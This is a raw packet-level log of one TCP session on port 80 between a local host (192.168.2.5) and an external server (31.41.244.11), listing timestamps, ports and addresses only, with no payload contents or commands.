Dec 18, 2024 19:08:12.097620964 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.097642899 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.097660065 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.098676920 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.098721027 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.098768950 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.099713087 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.099762917 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.099801064 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.099847078 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.100802898 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.100883961 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.100928068 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.101835012 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.101890087 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.101995945 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.102039099 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.103136063 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.103152990 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.103193045 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.103210926 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.104053020 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.104229927 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.104401112 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.104444027 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.104811907 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.104857922 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.104865074 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.104907990 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.105833054 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.105886936 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.105935097 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.105978966 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.106956959 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.106975079 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.107006073 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.107023001 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.108185053 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.108215094 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.108263969 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.108992100 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.109039068 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.109153032 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.109199047 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.110116005 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.110131979 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.110161066 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.110179901 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.110899925 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.111027002 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.111088037 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.111774921 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.111825943 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.111866951 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.111913919 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.112961054 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.112977982 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.113022089 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.113957882 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.114012003 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.114053011 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.114104033 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.114975929 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.115031004 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.115056992 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.115101099 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.116092920 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.116143942 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.116229057 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.117005110 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.117052078 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.117084980 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.117126942 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.118056059 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.118104935 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.118233919 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.118278980 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.119045973 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.119093895 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.119177103 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.119219065 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.120174885 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.120229006 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.120234013 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.120276928 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.121131897 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.121203899 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.121221066 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.121269941 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.122165918 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.122214079 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.122265100 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.122308016 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.123200893 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.123250961 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.123280048 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.123349905 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.124325037 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.124380112 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.124556065 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.124597073 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.125369072 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.125413895 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.125505924 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.125545979 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.126472950 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.126517057 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.126539946 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.126590014 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.127393007 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.127448082 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.127527952 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.127576113 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.128454924 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.128602982 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.128649950 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.129477024 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.129522085 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.129611015 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.129657030 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.130506992 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.130557060 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.130637884 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.130683899 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.131594896 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.131640911 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.131764889 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.131834984 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.132548094 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.132643938 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.132693052 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.133568048 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.133615971 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.133676052 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.133797884 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.134682894 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.134725094 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.134819984 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.134860992 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.135682106 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.135735035 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.135936975 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.135979891 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.136699915 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.136749983 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.136811972 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.136858940 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.137737989 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.137787104 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.137849092 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.137890100 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.138792038 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.138849020 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.138880968 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.138923883 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.139830112 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.139878035 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.139914989 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.140228033 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.141000032 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.141274929 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.141318083 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.141985893 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.142026901 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.142211914 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.142277956 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.142966986 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.143014908 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.143426895 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.143469095 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.144001007 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.144046068 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.144439936 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.147691965 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.286190987 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.286253929 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.286283970 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.286329031 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.286606073 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.286736012 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.286780119 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.287606955 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.287667036 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.287796974 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.288214922 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.288595915 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.288640022 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.289011955 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.289056063 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.289375067 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.289416075 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.289896011 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.289937019 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.289983034 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.290023088 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.290925026 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.290970087 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.291152954 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.291192055 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.291877031 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.291922092 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.292004108 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.292046070 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.292896032 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.293173075 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.293215990 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.293903112 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.293946981 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.294128895 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.294171095 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.294943094 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.294986010 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.295581102 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.295619965 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.295962095 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.296005011 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.296808004 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.296914101 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.296937943 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.296957016 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.296972990 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.297892094 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.297935009 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.298259974 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.298300982 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.298984051 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.299025059 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.299094915 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.299889088 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.299932957 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.300410986 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.300945997 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.300962925 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.300987959 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.301002979 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.301908970 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.302453041 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.302483082 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.302525043 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.303031921 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.303049088 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.303077936 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.303106070 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.303881884 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.303931952 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.304410934 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.304456949 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.304858923 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.304903984 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.304986000 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.305028915 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.306129932 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.306175947 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.306790113 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.306833982 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.306958914 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.307001114 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.307286024 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.307323933 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.307859898 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.307904005 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.308459044 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.308511019 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.308871031 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.308919907 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.309161901 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.309210062 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.309962988 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.310003996 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.310295105 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.310344934 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.311000109 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.311047077 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.311126947 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.311239004 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.311952114 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.312124968 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.312382936 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.312438965 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.312931061 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.313034058 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.313062906 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.313570976 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.313986063 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.314059973 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.314716101 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.314785004 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.315051079 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.315104008 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.315259933 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.315319061 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.315963984 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.316011906 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.316147089 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.316217899 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.316854000 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.316910982 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.317888021 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.317903996 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.317955971 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.318079948 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.318135023 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.318939924 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.318986893 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.319125891 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.319170952 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.319907904 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.320017099 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.320616961 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.320705891 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.320879936 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.320925951 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.321017027 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.321063042 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.321886063 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.321902037 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.321943045 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.322916031 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.322961092 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.323143959 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.323844910 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.323923111 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.323940039 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.323985100 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.324846029 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.324894905 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.325138092 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.325562000 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.325810909 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.325855970 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.326064110 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.326174021 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.326837063 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.326889992 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.327712059 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.327765942 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.327917099 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.327931881 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.327967882 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.328840971 CET	80	49720	31.41.244.11	192.168.2.5
